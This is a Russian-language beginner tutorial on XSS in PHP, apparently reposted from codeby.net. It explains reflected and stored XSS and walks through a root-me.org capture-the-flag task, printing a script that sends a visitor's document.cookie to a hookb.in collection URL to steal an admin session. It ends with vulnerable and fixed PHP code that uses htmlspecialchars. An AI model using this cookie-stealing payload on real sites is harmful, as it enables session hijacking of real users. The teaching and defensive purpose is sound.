[1] - Безопасный PHP. Защита от XSS атак.

[1] - Безопасный PHP. Защита от XSS атак.

@webware

t.me/webware

Прошлая статья:

[0]- Безопасность языка PHP. Начало и что еще будет


Всем Салам. Сегодня уже 2 часть из цикла статей безопасный PHP. И эта статья обещает быть информативной, особенно для новичков.


И чтобы было представление о XSS, я разделю статью на 2 части, где в 1ом разберем, что за зверь этот XSS. А во втором рассмотрим, как она эксплуатируется в PHP и как от этого защититься.

[0] – XSS. Что такое?

Теория:

Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. А знаете почему не CSS? Правильно, потому что эта аббревиатура занята каскадными стилями.


Вообще XSS делится на 2 типа:

  • Reflected (непостоянные). Давайте разберем этот тип подробнее. Этот тип XSS самый популярный, да и самый часто встречающийся среди всех инъекций. Тип атаки довольно простой, срабатывает и отсутствии фильтрации входных данных, чаще всего через какие-то формы на сайте. Например,
site.ru/search.php?q=<script>alert(‘r0hack’)</script>

получается, если эта поступающая строка не будет фильтроваться на стороне сервака, то получаем сообщение «r0hack». Ну и что скажете вы, ничего же страшного. А нет, ведь таким образом мы можем украсть куки авторизации пользователя. Давайте для примера разберем 1 таск с рут ми. Хотя ее можно отнести к обоим типам атаки, но в этом примере, можно увидеть, как мы можем стырить куки пользователя, ну и как работают stored тип.


  • Stored (хранимые). В этом случае, мы можем загрузить свой код на сервер и каждый раз при открытии страницы с данным кодом, она запускается и наносит сокрушительный удар, например, как я говорил выше, ворует куки и можем выдать себя за другого пользователя. А теперь давайте разберем таск, про который я писал выше.

Разбирать будем этот таск: https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1

И как видим в задании сказано украсть куки администратора и зайти с их помощью.

И дали простенький форум, где можем отправлять сообщения. Ну тут сразу можно понять, что сообщение нужно отправить скрипт, при клике на который мы получим куки. Специально для такие целей мы можно использовать, например сайт hookbin.com где она формирует ссылку, и при переходе по которому крадет данные заголовков, куки и все такое. Давайте так и сделаем, и замаскируем наше сообщение под фотографию и отправим.

Здесь формируем, такой скрипт для отправки:

<script>document.write("<img src='https://hookb.in/Z8a74azD?cook="+document.cookie+"'></img>")</script>

После чего отправляем, и когда админом страница будет открыта, мы получаем куки:

И если эти данные мы подставим в куки, то статус посетителя поменяется на Admin.

На этом про XSS говорить закончим, если что-то непонятно спрашивайте или гуглите, инфы много.


[1] – Эксплуатация XSS уязвимостей в PHP

Давайте сразу перейдем к практике и посмотрим, при каком случае, XSS атака может сработать.

У нас имеется такой кусок кода, который не экранирует исходящие данные:

$query = $_GET['query'] ?? 0;
echo 'Найдено: '. $query;

И как вы видите, в данном случае наш скрипт срабатывает.

[2] – Как обезопасить PHP от XSS

И как закрыть эксплуатацию данной уязвимости, предельно просто все это делается, это просто экранируем:

$query = $_GET['query'] ?? 0;

$query = htmlspecialchars($query, ENT_QUOTES);

echo 'Найдено: '. $query;

И наш скрипт мы получаем, как обычный текст, благодаря htmlspecialchars, ENT_QUOTES - преобразует как двойные, так и одинарные кавычки. И будет вам счастье.


Ну для примера, еще какой-нибудь немецкий сайт:

На этом с XSS закончу. Надеюсь получилось не плохо. Вопросы пишите в комментах. Спасибо.

Источник codeby.net

Report Page